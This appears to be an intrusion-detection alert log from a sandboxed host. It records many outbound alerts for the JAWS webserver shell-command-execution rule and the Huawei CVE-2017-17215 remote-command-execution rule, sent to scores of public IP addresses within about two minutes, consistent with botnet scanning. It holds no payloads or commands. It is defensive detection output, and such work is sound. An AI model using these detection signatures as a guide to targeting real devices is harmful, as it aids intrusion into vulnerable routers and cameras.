ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.107.237.138

Timestamp:	192.168.2.23103.107.237.13849340802030092 07/11/22-01:04:02.860199
SID:	2030092
Source Port:	49340
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 118.215.181.76

Timestamp:	192.168.2.23118.215.181.7634982802030092 07/11/22-01:02:52.361145
SID:	2030092
Source Port:	34982
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.118.71.184

Timestamp:	192.168.2.23104.118.71.18438094802030092 07/11/22-01:03:00.694732
SID:	2030092
Source Port:	38094
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.216.204.198

Timestamp:	192.168.2.2323.216.204.19835348802030092 07/11/22-01:03:28.218546
SID:	2030092
Source Port:	35348
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 37.72.193.114

Timestamp:	192.168.2.2337.72.193.11449642802030092 07/11/22-01:03:26.947906
SID:	2030092
Source Port:	49642
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.162.64.69

Timestamp:	192.168.2.23185.162.64.6946494802030092 07/11/22-01:02:55.956438
SID:	2030092
Source Port:	46494
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 117.18.1.86

Timestamp:	192.168.2.23117.18.1.8643288802030092 07/11/22-01:03:27.367926
SID:	2030092
Source Port:	43288
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.81.232.252

Timestamp:	192.168.2.23104.81.232.25244338802030092 07/11/22-01:04:10.025100
SID:	2030092
Source Port:	44338
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 220.133.6.175

Timestamp:	192.168.2.23220.133.6.17559722802030092 07/11/22-01:04:03.209669
SID:	2030092
Source Port:	59722
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 213.115.178.34

Timestamp:	192.168.2.23213.115.178.3459916802030092 07/11/22-01:03:30.171189
SID:	2030092
Source Port:	59916
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 120.233.193.138

Timestamp:	192.168.2.23120.233.193.13834866802030092 07/11/22-01:03:50.113014
SID:	2030092
Source Port:	34866
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 178.170.244.127

Timestamp:	192.168.2.23178.170.244.12735140802030092 07/11/22-01:03:24.104032
SID:	2030092
Source Port:	35140
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.107.247

Timestamp:	192.168.2.23156.226.107.24737542372152835222 07/11/22-01:03:37.392623
SID:	2835222
Source Port:	37542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 132.145.52.229

Timestamp:	192.168.2.23132.145.52.22948872802030092 07/11/22-01:03:24.031198
SID:	2030092
Source Port:	48872
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 176.31.55.199

Timestamp:	192.168.2.23176.31.55.19945834802030092 07/11/22-01:02:13.028168
SID:	2030092
Source Port:	45834
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.105.244

Timestamp:	192.168.2.23156.226.105.24442404372152835222 07/11/22-01:03:21.262459
SID:	2835222
Source Port:	42404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.11.237.135

Timestamp:	192.168.2.2345.11.237.13536790802030092 07/11/22-01:02:20.457209
SID:	2030092
Source Port:	36790
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 198.50.162.95

Timestamp:	192.168.2.23198.50.162.9543080802030092 07/11/22-01:03:55.258570
SID:	2030092
Source Port:	43080
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 135.23.131.67

Timestamp:	192.168.2.23135.23.131.6760340802030092 07/11/22-01:02:36.414354
SID:	2030092
Source Port:	60340
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 155.97.178.66

Timestamp:	192.168.2.23155.97.178.6642538802030092 07/11/22-01:04:09.298968
SID:	2030092
Source Port:	42538
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 72.52.142.63

Timestamp:	192.168.2.2372.52.142.6347090802030092 07/11/22-01:03:08.704441
SID:	2030092
Source Port:	47090
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 140.122.101.145

Timestamp:	192.168.2.23140.122.101.14550492802030092 07/11/22-01:03:38.738633
SID:	2030092
Source Port:	50492
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.89.232

Timestamp:	192.168.2.23156.241.89.23238692372152835222 07/11/22-01:02:34.321468
SID:	2835222
Source Port:	38692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 90.117.224.113

Timestamp:	192.168.2.2390.117.224.11334738802030092 07/11/22-01:03:33.003935
SID:	2030092
Source Port:	34738
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 47.185.32.98

Timestamp:	192.168.2.2347.185.32.9834548802030092 07/11/22-01:02:13.099187
SID:	2030092
Source Port:	34548
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 192.99.37.52

Timestamp:	192.168.2.23192.99.37.5244516802030092 07/11/22-01:03:04.056807
SID:	2030092
Source Port:	44516
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.232.91.171

Timestamp:	192.168.2.23156.232.91.17148314372152835222 07/11/22-01:03:48.773248
SID:	2835222
Source Port:	48314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.100.42

Timestamp:	192.168.2.23156.241.100.4235220372152835222 07/11/22-01:02:15.156370
SID:	2835222
Source Port:	35220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 195.154.57.113

Timestamp:	192.168.2.23195.154.57.11334668802030092 07/11/22-01:03:24.027084
SID:	2030092
Source Port:	34668
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 46.248.60.199

Timestamp:	192.168.2.2346.248.60.19945314802030092 07/11/22-01:03:34.199799
SID:	2030092
Source Port:	45314
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.228.148.2

Timestamp:	192.168.2.232.228.148.248060802030092 07/11/22-01:03:40.093379
SID:	2030092
Source Port:	48060
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.82.173.251

Timestamp:	192.168.2.23104.82.173.25144372802030092 07/11/22-01:03:07.019959
SID:	2030092
Source Port:	44372
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.23.134.107

Timestamp:	192.168.2.23154.23.134.10733770802030092 07/11/22-01:02:56.348163
SID:	2030092
Source Port:	33770
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.233.182.211

Timestamp:	192.168.2.2323.233.182.21142756802030092 07/11/22-01:03:19.145341
SID:	2030092
Source Port:	42756
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 91.188.255.201

Timestamp:	192.168.2.2391.188.255.20133108802030092 07/11/22-01:03:31.043885
SID:	2030092
Source Port:	33108
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.19.163.123

Timestamp:	192.168.2.23104.19.163.12346842802030092 07/11/22-01:03:15.026150
SID:	2030092
Source Port:	46842
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 188.166.152.81

Timestamp:	192.168.2.23188.166.152.8144258802030092 07/11/22-01:02:46.036891
SID:	2030092
Source Port:	44258
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 220.133.228.29

Timestamp:	192.168.2.23220.133.228.2960374802030092 07/11/22-01:03:27.189433
SID:	2030092
Source Port:	60374
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.197.83.156

Timestamp:	192.168.2.2345.197.83.15646546802030092 07/11/22-01:02:42.202365
SID:	2030092
Source Port:	46546
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 207.162.38.231

Timestamp:	192.168.2.23207.162.38.23145110802030092 07/11/22-01:02:58.280865
SID:	2030092
Source Port:	45110
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.124.231.101

Timestamp:	192.168.2.23104.124.231.10137262802030092 07/11/22-01:03:24.591548
SID:	2030092
Source Port:	37262
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 59.6.10.170

Timestamp:	192.168.2.2359.6.10.17045452802030092 07/11/22-01:03:45.722272
SID:	2030092
Source Port:	45452
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.174.166.73

Timestamp:	192.168.2.23202.174.166.7351974802030092 07/11/22-01:03:54.776269
SID:	2030092
Source Port:	51974
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 66.182.120.44

Timestamp:	192.168.2.2366.182.120.4444248802030092 07/11/22-01:03:15.167639
SID:	2030092
Source Port:	44248
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 156.205.177.145

Timestamp:	192.168.2.23156.205.177.14560186802030092 07/11/22-01:03:45.728824
SID:	2030092
Source Port:	60186
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 8.251.144.88

Timestamp:	192.168.2.238.251.144.8857590802030092 07/11/22-01:02:31.308606
SID:	2030092
Source Port:	57590
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 128.193.83.69

Timestamp:	192.168.2.23128.193.83.6937176802030092 07/11/22-01:04:04.084904
SID:	2030092
Source Port:	37176
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 1.37.34.211

Timestamp:	192.168.2.231.37.34.21149516802030092 07/11/22-01:02:33.775007
SID:	2030092
Source Port:	49516
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.18.167.95

Timestamp:	192.168.2.23104.18.167.9559644802030092 07/11/22-01:02:47.822809
SID:	2030092
Source Port:	59644
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.24.31.178

Timestamp:	192.168.2.23184.24.31.17842450802030092 07/11/22-01:03:24.039955
SID:	2030092
Source Port:	42450
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 85.128.213.197

Timestamp:	192.168.2.2385.128.213.19744854802030092 07/11/22-01:03:28.260108
SID:	2030092
Source Port:	44854
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.208.184.80

Timestamp:	192.168.2.2323.208.184.8057898802030092 07/11/22-01:02:56.414021
SID:	2030092
Source Port:	57898
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.108.152.203

Timestamp:	192.168.2.2323.108.152.20358352802030092 07/11/22-01:02:27.611756
SID:	2030092
Source Port:	58352
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.63.175

Timestamp:	192.168.2.23156.226.63.17540340372152835222 07/11/22-01:03:55.490017
SID:	2835222
Source Port:	40340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 203.150.150.128

Timestamp:	192.168.2.23203.150.150.12856320802030092 07/11/22-01:03:33.326751
SID:	2030092
Source Port:	56320
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.249.196.249

Timestamp:	192.168.2.2354.249.196.24955980802030092 07/11/22-01:03:45.705021
SID:	2030092
Source Port:	55980
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 112.72.35.146

Timestamp:	192.168.2.23112.72.35.14651366802030092 07/11/22-01:02:16.586554
SID:	2030092
Source Port:	51366
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.107.236.50

Timestamp:	192.168.2.2334.107.236.5040454802030092 07/11/22-01:02:33.470432
SID:	2030092
Source Port:	40454
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.245.48.250

Timestamp:	192.168.2.23156.245.48.25038458372152835222 07/11/22-01:03:17.339652
SID:	2835222
Source Port:	38458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.109.104

Timestamp:	192.168.2.23156.226.109.10440764372152835222 07/11/22-01:02:57.753964
SID:	2835222
Source Port:	40764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.251.179.214

Timestamp:	192.168.2.2313.251.179.21458338802030092 07/11/22-01:03:37.347072
SID:	2030092
Source Port:	58338
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 138.4.6.139

Timestamp:	192.168.2.23138.4.6.13948692802030092 07/11/22-01:02:47.859368
SID:	2030092
Source Port:	48692
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 148.100.61.169

Timestamp:	192.168.2.23148.100.61.16952524802030092 07/11/22-01:02:23.343057
SID:	2030092
Source Port:	52524
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 24.171.244.242

Timestamp:	192.168.2.2324.171.244.24253342802030092 07/11/22-01:03:19.213908
SID:	2030092
Source Port:	53342
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 91.80.152.167

Timestamp:	192.168.2.2391.80.152.16753472802030092 07/11/22-01:03:28.526420
SID:	2030092
Source Port:	53472
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.93.140.79

Timestamp:	192.168.2.23104.93.140.7935216802030092 07/11/22-01:02:17.210859
SID:	2030092
Source Port:	35216
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 91.11.156.119

Timestamp:	192.168.2.2391.11.156.11935096802030092 07/11/22-01:02:38.687140
SID:	2030092
Source Port:	35096
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 80.152.204.122

Timestamp:	192.168.2.2380.152.204.12235872802030092 07/11/22-01:03:18.161359
SID:	2030092
Source Port:	35872
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 82.165.71.157

Timestamp:	192.168.2.2382.165.71.15741420802030092 07/11/22-01:02:16.152085
SID:	2030092
Source Port:	41420
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.35.95.71

Timestamp:	192.168.2.2338.35.95.7160042802030092 07/11/22-01:04:12.288864
SID:	2030092
Source Port:	60042
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.7.40.80

Timestamp:	192.168.2.23103.7.40.8035480802030092 07/11/22-01:04:09.445515
SID:	2030092
Source Port:	35480
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.231.20.135

Timestamp:	192.168.2.2323.231.20.13557000802030092 07/11/22-01:03:01.279484
SID:	2030092
Source Port:	57000
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 218.108.77.166

Timestamp:	192.168.2.23218.108.77.16633488802030092 07/11/22-01:03:10.511984
SID:	2030092
Source Port:	33488
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.230.111.28

Timestamp:	192.168.2.2334.230.111.2857312802030092 07/11/22-01:03:36.767631
SID:	2030092
Source Port:	57312
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 96.6.199.150

Timestamp:	192.168.2.2396.6.199.15048740802030092 07/11/22-01:02:33.898976
SID:	2030092
Source Port:	48740
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 139.219.129.91

Timestamp:	192.168.2.23139.219.129.9150082802030092 07/11/22-01:03:15.626346
SID:	2030092
Source Port:	50082
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 187.93.211.162

Timestamp:	192.168.2.23187.93.211.16258512802030092 07/11/22-01:03:30.218115
SID:	2030092
Source Port:	58512
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.50.73.48

Timestamp:	192.168.2.2352.50.73.4841784802030092 07/11/22-01:02:36.226315
SID:	2030092
Source Port:	41784
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.89.36

Timestamp:	192.168.2.23156.250.89.3642608372152835222 07/11/22-01:03:06.504017
SID:	2835222
Source Port:	42608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 216.55.100.196

Timestamp:	192.168.2.23216.55.100.19633406802030092 07/11/22-01:02:56.199361
SID:	2030092
Source Port:	33406
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 178.62.110.29

Timestamp:	192.168.2.23178.62.110.2941346802030092 07/11/22-01:04:04.960610
SID:	2030092
Source Port:	41346
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 192.251.32.59

Timestamp:	192.168.2.23192.251.32.5956498802030092 07/11/22-01:02:56.215482
SID:	2030092
Source Port:	56498
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.93.99.68

Timestamp:	192.168.2.23104.93.99.6851282802030092 07/11/22-01:02:42.382269
SID:	2030092
Source Port:	51282
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.85.187.28

Timestamp:	192.168.2.2352.85.187.2841950802030092 07/11/22-01:02:31.226562
SID:	2030092
Source Port:	41950
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.50.64.185

Timestamp:	192.168.2.23212.50.64.18534870802030092 07/11/22-01:02:20.427156
SID:	2030092
Source Port:	34870
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.139.212.173

Timestamp:	192.168.2.23202.139.212.17338990802030092 07/11/22-01:03:46.656488
SID:	2030092
Source Port:	38990
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 89.36.46.174

Timestamp:	192.168.2.2389.36.46.17445428802030092 07/11/22-01:03:01.435603
SID:	2030092
Source Port:	45428
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 216.252.195.214

Timestamp:	192.168.2.23216.252.195.21435190802030092 07/11/22-01:04:03.177288
SID:	2030092
Source Port:	35190
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 43.242.37.18

Timestamp:	192.168.2.2343.242.37.1848990802030092 07/11/22-01:02:21.065917
SID:	2030092
Source Port:	48990
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.67.13

Timestamp:	192.168.2.23156.226.67.1343730372152835222 07/11/22-01:03:11.370775
SID:	2835222
Source Port:	43730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.12.153.66

Timestamp:	192.168.2.2323.12.153.6642954802030092 07/11/22-01:03:01.781748
SID:	2030092
Source Port:	42954
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 220.68.32.96

Timestamp:	192.168.2.23220.68.32.9659400802030092 07/11/22-01:02:44.108281
SID:	2030092
Source Port:	59400
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 203.142.203.171

Timestamp:	192.168.2.23203.142.203.17136266802030092 07/11/22-01:02:53.748632
SID:	2030092
Source Port:	36266
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 194.85.18.151

Timestamp:	192.168.2.23194.85.18.15154146802030092 07/11/22-01:03:53.772170
SID:	2030092
Source Port:	54146
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 109.248.11.23

Timestamp:	192.168.2.23109.248.11.2346964802030092 07/11/22-01:03:58.009184
SID:	2030092
Source Port:	46964
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.54.19.109

Timestamp:	192.168.2.2323.54.19.10945266802030092 07/11/22-01:03:58.331014
SID:	2030092
Source Port:	45266
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.93.109.56

Timestamp:	192.168.2.23185.93.109.5647422802030092 07/11/22-01:03:03.919754
SID:	2030092
Source Port:	47422
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

